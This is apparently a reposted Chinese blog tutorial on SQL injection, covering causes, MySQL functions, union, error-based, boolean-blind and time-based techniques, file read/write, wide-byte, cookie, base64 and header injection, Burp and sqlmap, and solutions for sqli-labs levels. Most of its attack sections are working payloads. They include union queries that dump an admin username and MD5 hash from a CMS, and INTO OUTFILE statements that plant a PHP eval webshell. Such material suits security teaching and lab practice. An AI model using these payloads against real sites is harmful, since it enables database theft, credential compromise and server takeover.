SQL注入知识点总结

第一章 概述

第一节 简介

结构化查询语言(Structured Query Language,缩写:SQL),是一种特殊的编程语言,用于数据库中的标准数据查询语言。1986年10月,美国国家标准学会对SQL进行规范后,以此作为关系式数据库管理系统 MYSQL ACCESS MSSQL orcale
明显的层次结构

库名|表名|字段名|字段内容

的标准语言(ANSI X3. 135-1986),1987年得到国际标准组织的支持下成为国际标准。不过各种通行的数据库系统在其实践过程中都对SQL规范作了某些编改和扩充。所以,实际上不同数据库系统之间的SQL不能完全相互通用。
SQL注入(SQL Injection)是一种常见的Web安全漏洞,攻击者利用这个漏洞,可以访问或修改数据,或者利用潜在的数据库漏洞进行攻击

第二章 SQL 注入基础

第一节 漏洞原理

针对SQL注入的攻击行为可描述为通过用户可控参数中注入SQL语法,破坏原有SQL结构,达到编写程序时意料之外结果的攻击行为。
其成因可以归结外以下两个原因叠加造成的:

程序编写者在处理程序和数据库交互时,使用字符串拼接的方式构造SQL语句。
未对用户可控参数进行足够的过滤便将参数内容拼接进入到SQL语句中。

第二节 注入点可能存在的位置

根据SQL 注入漏洞的原理,在用户“可控参数”中注入SQL 语法,也就是说Web 应用在获取用户数据的地方,只要带入数据库查询,都有存在SQL 注入的可能,这些地方通常包括:

GET 数据
POST 数据
HTTP 头部(HTTP 请求报文其他字段)
Cookie 数据

第三节 漏洞危害

攻击者利用SQL注入漏洞,可以获取数据库中的多种信息(例如:管理员后台密码),从而脱取数据库中内容(脱库)。
在特别情况下还可以修改数据库内容或者插入内容到数据库,如果数据库权限分配存在问题,或者数据库本身存在缺陷,那么攻击者可以通过SQL注入漏洞直接获取webshell或者服务器系统权限

第三章 SQL注入分类

SQL 注入漏洞根据不同的标准,有不同的分类。
但是从数据类型分类来看,SQL 注入分为数字型和字符型

数字型注入就是说注入点的数据,拼接到SQL 语句中是以数字型出现的,即数据两边没有被单引号、双引号包括。
字符型注入正好相反。

根据注入手法分类,大致可分为以下几个类别。

注入分类 简称
UNION query SQL injection(可联合查询注入) 联合查询
Error-based SQL injection(报错型注入) 报错注入
Boolean-based blind SQL injection(布尔型注入) 布尔盲注
Time-based blind SQL injection(基于时间延迟注入) 延时注入
Stacked queries SQL injection(可多语句查询注入) 堆叠查询

第四章 MYSQL 相关

第一节 注释

mysql 数据库的注释大概有以下几种:

   #
    -- (杠杠空格)
    /* .....  */
    /*! .... */ 内联查询

第二节 mysql 元数据库数据库information_schema

information_schema
			|
			+--	tables
			|		|
			|		`-- table_name
			|		|
			|		`-- table_schema
			|		
			`-- columns	
					|
					`--	column_name
					|
					`--	table_name
					|
					`-- table_schema

第三节 MYSQL 常用函数与参数

函数 含义
= > >= <= <> 比较运算符
and or
version() mysql 数据库版本
database() 当前数据库名
user() 用户名
current_user() 当前用户名
system_user() 系统用户名
@@datadir 数据库路径
@@versoin_compile_os 操作系统版本
length() 返回字符串的长度
substring() 截取字符串
substr()
mid() 1. 截取的字符串2. 截取起始位置,从1开始计数3. 截取长度
left() 从左侧开始取指定字符个数的字符串
concat() 没有分隔符的连接字符串
concat_ws() 含有分割符的连接字符串
group_conat() 连接一个组的字符串
ord() 返回ASCII 码
ascii()
hex() 将字符串转换为十六进制
unhex() hex 的反向操作
md5() 返回MD5 值
floor(x) 返回不大于x 的最大整数
round() 返回参数x 接近的整数
rand() 返回0-1 之间的随机浮点数
load_file() 读取文件,并返回文件内容作为一个字符串
sleep() 睡眠时间为指定的秒数
if(true,t,f) if 判断
find_in_set() 返回字符串在字符串列表中的位置
benchmark() 指定语句执行的次数
name_const() 返回表作为结果

第四节 逻辑运算

在SQL 语句中逻辑运算与(and)比或(or)的优先级高。

[select 1=2 and 1=2 or 1=1;]

第五章 注入流程

由于关系型数据库系统,具有明显的库/表/列/内容结构层次,所以我们通过SQL 注入漏洞获取数据库中信息时候,也依据这样的顺序。

首先获取数据库名,其次获取表名,然后获取列名,最后获取数据。

第一节 SQL 注入思路

?id=35		+1/-1
		select * from tbName where id=$id
?id=35'		字符型,还是数字型
	near ''' at line 1
	select * from tbName where id=35'
	
?id=35 and 1=1					是否有布尔类型的状态
?id=35 and 1=2 
	select * from tbName where id=35 and 1=1
	select * from tbName where id=35 and 1=2
	
?id=35 and sleep(5)				是否有延时
四大基本手法包括:
@    联合查询
@    报错注入
@    布尔盲注
@    延时注入

第二节 注入点判断

[http://172.16.132.138/cms/show.php?id=33] 案例网站
对连接[http://172.16.132.138/cms/show.php?id=33]是否是注入点进行判断。

  • 变换id 参数
    当我们变换id 参数(33+1|33-1)的时候,发现同一个页面,
    show.php 页面展现出不同的页面内容。也就是说,数据库中的内容会回显到网页中来。
    初步判定,id 参数会带入数据库查询,根据不同的id 查询数据库,得到不同的页面内容。
    猜测后台执行的SQL 语句大致结构为:
    select * from tbName where id=33;

  • 单引号
    [?id=33’]
    执行的SQL 主语则变为
    select * from tbName where id=33’;
    页面报错,并且报错信息会回显在网页中,报错信息如下

----
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1
----

错误信息提示单引号位置出现错误,那么说明,SQL 语句从头到参数33 都是正确的。也就是说,我们添加的单引号是多余的
因此,可以断定参数33 前面没有引号
则,此注入点(可能)为数字型注入

  • [and 1=1 ]
  • [?id=33 and 1=1 --+]
    可能得SQL 语句为
    select * from tbName where id=33 and 1=1 --+
    页面正常。
  • [and 1=2]
  • [?id=33 and 1=2 --+]
    可能得SQL 语句
    select * from tbName where id=33 and 1=2 --+

页面没有新闻内容,并且数据库没有报错。
由于1=2 是恒假式,也就是查询条件[where id=33 and 1=2 --+]恒假,这样的SQL 语句在数据库中执行后,没有返回结果,没有页面内容。
反过来看,页面没有页面内容,也就是SQL 语句查询条件为假。也就是说,我们写的语句[and 1=2 --+],起到了将查询条件置为假的作用。
那么,可以通过构造语句来控制SQL 语句的查询结果并且,SQL 语句查询条件真假性,在页面回显中有体现。

  • [and sleep(5)]

  • [?id=33 and sleep(5)]
    注入sleep(5) 语句,可以通过网络时间线看到延时。

    说明sleep(5) 语句起到了作用
    综上,此连接存在SQL 注入漏洞。

第三节 联合查询

由于数据库中的内容会回显到页面中来,所以我们可以采用联合查询进行注入。
联合查询就是SQL 语法中的union select 语句。
该语句会同时执行两条select 语句,生成两张虚拟表,然后把查询到的结果进行拼接。

select ~~~~ union select ~~~~
由于虚拟表是二维结构,联合查询会"纵向"拼接,两张虚拟的表。

  • 必要条件
两张虚拟的表具有相同的列数
虚拟表对应的列的数据类型相同
  • 判断字段个数
    可以使用[order by] 语句来判断当前select 语句所查询的虚拟表的列数
    [order by]语句本意是按照某一列进行排序,在mysql 中可以使用数字来代替具体的列名,比如[order by 1]就是按照第一列进行排序,如果mysql 没有找到对应的列,就会报错[Unknown column]。
    我们可以依次增加数字,直到数据库报错。
  [order by 1 --+]
  [order by 2 --+]
    ...
  [order by 15 --+]
  [order by 16]

得到当前虚拟表中字段个数为15。

  • 判断显示位置
    得到字段个数之后,可以尝试构造联合查询语句。
    这里我们并不知道表名,根据mysql 数据库特性,select 语句在执行的过程中,并不需要指定表名
[?id=33 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15--+]
[?id=33 union select null,null,null,null,null,null,null,null,null,null,null,null,null,null,null--+]

页面显示的是第一张虚拟表的内容,那么我们可以考虑让第一张虚拟表的查询条件为假,则显示第二条记录。因此构造SQL 语句:

  [?id=33 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 --+]
	[?id=-33 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15 --+]

发现3 和11 会回显到页面中来。

  • 数据库版本
    我们可以讲数字3 用函数[version()]代替,即可得到数据库的版本。

[?id=33 and 1=2 union select 1,2,version(),4,5,6,7,8,9,10,11,12,13,14,15 --+]

数据库版本为5.5.53。

  • 当前数据库名
    [?id=33 and 1=2 union select 1,2,database(),4,5,6,7,8,9,10,11,12,13,14,15 --+]

  • 数据库中的表
    [?id=33 and 1=2 union select 1,2,group_concat(table_name),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.tables where table_schema=database() --+]

    数据库报错,考虑用[hex()] 函数将结果由字符串转化成数字。
    [?id=33 and 1=2 union select 1,2,hex(group_concat(table_name)),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.tables where table_schema=database() --+]

    得到十六进制编码后的字符串

----
636D735F61727469636C652C636D735F63617465676F72792C636D735F66696C652C636D735F667269656E646C696E6B2C636D735F6D6573736167652C636D735F6E6F746963652C636D735F706167652C636D735F7573657273
----

十六进制解码

----
cms_article,cms_category,cms_file,cms_friendlink,cms_message,cms_notice,cms_page,cms_users
----
管理员帐密有可能保存在cms_users 表中。
  • 表中字段
    [?id=33 and 1=2 union select 1,2,hex(group_concat(column_name)),4,5,6,7,8,9,10,11,12,13,14,15 from information_schema.columns where table_schema=database() and table_name='cms_users'--+]
----
7573657269642C757365726E616D652C70617373776F7264
----

查询结果

----
userid,username,password
----
  • 字段内容
    查询表中记录数
    [?id=33 and 1=2 union select 1,2,count(*),4,5,6,7,8,9,10,11,12,13,14,15 from cms_users --+]
  • 查询字段内容
    [?id=33 and 1=2 union select 1,2,hex(concat(username,':',password)),4,5,6,7,8,9,10,11,12,13,14,15 from cms_users --+]
----
61646D696E3A6531306164633339343962613539616262653536653035376632306638383365
----

查询结果

----
admin:e10adc3949ba59abbe56e057f20f883e
----

得到的是后台管理员帐密,但是密码是以密文的方式保存在数据库中的。通过观察密文可知,此密文为MD5 密文。

----
admin:123456
----

通过网站后台登录系统

第四节 报错注入

在注入点的判断过程中,发现数据库中SQL 语句的报错信息会显示在页面中,因此可以进行报错注入。
报错注入的原理,就是在错误信息中执行SQL 语句
触发报错的方式很多,具体细节也不尽相同。此处建议直接背公式即可。

  • group by 重复键冲突

[?id=33 and (select 1 from (select count(*),concat((select version() from information_schema.tables limit 0,1),floor(rand()*2))x from information_schema.tables group by x)a) --+]
[?id=33 and (select 1 from (select count(*),concat((select version() from information_schema.tables limit 0,1),floor(rand()*2))x from information_schema.tables group by x)a) --+]

  • XPATH 报错
 @    extractalue()
    [?id=33 and extractvalue(1,concat('^',(select version()),'^')) --+]

    @    updatexml()
    [?id=33 and updatexml(1,concat('^',(select database()),'^'),1) --+]

第五节 布尔盲注

  • 原理
    利用页面返回的布尔类型状态,正常或者不正常。
  • 获取数据库名
    @ 数据库名长度
   [?id=33 and length(database())=1 --+]
   [?id=33 and length(database())=2 --+]
    [?id=33 and length(database())=3 --+]页面正确

可以断定,当前数据库名的长度为3。

  • 数据库名
    [?id=33 and ascii(substr(database(),1,1))=99 --+] 页面正确

    由此可知数据库名的第一个字母的ascii 码为99,即是字母c。

第六节 延时注入

  • 原理
    利用sleep() 语句的延时性,以时间线作为判断条件。
    获取数据库名

  • 获取数据库名长度
    [?id=33 and if((length(database())=3),sleep(5),1)--+]

  • 数据库名第二位
    [?id=33 and if((ascii(substr(database(),2,1))=109),sleep(5),1)--+]

    由此可知,数据库名第二个字母的ASCII 码值为109,即是字母m。

------
方法:
是否有回显		联合查询
是否有报错		报错注入
是否有布尔类型状态	布尔盲注
绝招				延时注入
------

where id=’$id’
3’ and sleep(5) or ‘1’='1

第七节 读写文件

  • 前提条件
    我们也可以利用SQL 注入漏洞读写文件。但是读写文件需要一定的条件。
    1.secure-file-priv
    可以在phpmyadmin 中开到该变量。
    该参数在高版本的mysql 数据库中限制了文件的导入导出操作。
    改参数可以写在my.ini 配置文件中[mysqld] 下。若要配置此参数,需要修改my.ini 配置文件,并重启mysql 服务。
参数值 相关说明
secure-file-priv= 不对mysqld的导入导出操作做限制
secure-file-priv=‘c:/a/’ 限制mysqld 的导入导出操作发生在c:/a/ 下(子目录有效)
secure-file-priv=null 限制mysqld 不允许导入导出操作

2. 当前用户具有文件权限
查询语句[select File_priv from mysql.user where user="root" and host="localhost"]。

3. 知道要写入目标文件的绝对路径

  • 读取文件操作
    [?id=-1' union select 1, load_file('C:\\Windows\\System32\\drivers\\etc\\hosts'), 3 --+ ]
  • 写入文件操作
    [?id=1' and 1=2 union select 1,'<?php @eval($_REQUEST[777]);?>',3 into outfile 'c:\\phpstudy\\www\\2.php'--+],直接传入参数,页面如果不报错,说明写入成功。可以直接访问写入的文件[http://localhost/1.php]

第八节 宽字节注入

宽字节注入准确来说不是注入手法,而是另外一种比较特殊的情况。
为了说明宽字节注入问题,我们以SQLi-labs 32 关为例子。
使用[?id=1’]进行测试的时候,发现提交的单引号会被转移[’]。
此时,转义后的单引号不再是字符串的标识,会被作为普通字符带入数据库查询。也就是说,我们提交的单引号不会影响到原来SQL 语句的结构。
我们通过阅读32 关的源码,发现几句非常意思的代码,如下:

此网页在连接数据库时,会将字符编码设置为GBK 编码集合,然后进行SQL 语句拼接,最后进行数据库查询。
GBK编码依然采用双字节编码方案,其编码范围:8140-FEFE,剔除xx7F码位,共23940个码位。共收录汉字和图形符号21886个,其中汉字(包括部首和构件)21003个,图形符号883个。GBK编码支持国际标准ISO/IEC10646-1和国家标准GB13000-1中的全部中日韩汉字,并包含了BIG5编码中的所有汉字。GBK编码方案于1995年12月15日正式发布,这一版的GBK规范为1.0版。
转移字符[] 的编码是5c,正好在GBK 编码范围之内,也就是说我们可以在单引号之前提交一个十六进制编码的字符,与5c 组成一个GBK 编码的汉字。这样SQL 语句传入数据库的时候,转移字符5c ,会被看作GBK 汉字的低位字节编码,从而失去转义的作用。
如果我们提交这样的参数[?id=1000%df' union select 1,2,3 --+],就可以使用联合查询进行注入了。
0xdf5c 就是一个汉字"運"。

第九节 Cookie 注入

我们使用SQLi-labs 第20 关来说明Cookie 注入问题。
Cookie 注入的注入参数需要通过Cookie 提交,可以通过[document.cookie] 在控制台完成对浏览器Cookie 的读写。
来到less-20,在控制台输入
[document.cookie="uname=Dumb' and extractvalue(1,concat(0x7e,database(),0x7e))#"]
刷新页面即可。

第十节 base64 注入

我们以SQLI-labs 第22关来说明base64 注入的问题。
base64 注入也是比较简单的,只不过将注入字段经过base64 编码。经过测试,发现22 关属于Cookie 型的base64 注入。我们可以使用报错注入手法,payload
[document.cookie="uname=Dumb" and extractvalue(1,concat(0x7e,database(),0x7e))#"]
在控制台输入 [document.cookie="uname=RHVtYiIgYW5kIGV4dHJhY3R2YWx1ZSgxLGNvbmNhdCgweDdlLGRhdGFiYXNlKCksMHg3ZSkpIw=="]。

刷新网页即可。

第十一节 HTTP 头部注入

http 头部注入就是指注入字段在HTTP 头部的字段中,这些字段通常有User-Agent、Referer 等。

  • User-Agent 注入
    SQLi-labs 第18 关
    payload
    [User-Agent:hacker' and updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1]

  • Referer 注入
    19 关,注入字段在Referer 中
    [hacker' and updatexml(1,concat(0x7e,database(),0x7e),1) and '1'='1]

第六章 自动化注入

第一节 半自动化注入–burp

-----
GET /sqli-labs-master/Less-8/?id=2%27%20and%20length(database())=§1§%20--+ HTTP/1.1
Host: 172.16.132.161
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Referer: http://172.16.132.161/sqli-labs-master/Less-8/?id=2%27%20and%201=2%20--+
Upgrade-Insecure-Requests: 1

----

第二节 全自动–sqlmap

----
-u "url"			 检测注入点
--dbs				 列出所有数据库的名字
--current-db		列出当前数据库的名字
-D					指定一个数据库
--tables			列出表名
-T					指定表名
--columns			列出所有的字段名
-C					指定字段
--dump				列出字段内容
----

第三节 sqllib案例

定制化脚本

----sqli-lab
Less-01
	字符型注入
	单引号
	?id=1
	?id=1' and 1=2 union select 1,version(),3 --+
	
Less-02
	数字型注入
	?id=-2 union select 1,2,database()
	
Less-03
	字符型
	')
	?id=2') and 1=2 union select 1,2,version()  --+
	
Less-04
	字符型
	")
	?id=2") and 1=2 union select 1,2,@@datadir --+

Less-05
	没有回显,有报错
	字符型
	'
	?id=1' and updatexml(1,concat(0x5e,(select version()),0x5e),1) --+
	
Less-06
	没有回显,有报错
	字符型
	"
	?id=2" and updatexml(1,concat(0x5e,(select version()),0x5e),1) --+
	
Less-07
	没有回显,没有报错
	经过代码审计
	字符型注入
	'))
	?id=2')) union select 1,"<?php @eval(\$_REQUEST[777])?>",3 into outfile "c:\\phpstudy\\www\\1.php" --+
	
Less-08
	没有回显,没有报错,有布尔类型状态
	字符型注入
	'
	半自动化注入
	
Less-09
	字符型注入,单引号
	没有回显,没有报错,没有布尔类型状态
	?id=2' and if(ascii(substr(database(),1,1))=1,sleep(5),1) --+
发布了278 篇原创文章 · 获赞 57 · 访问量 10万+

猜你喜欢

转载自blog.csdn.net/qq_41901122/article/details/104258987
今日推荐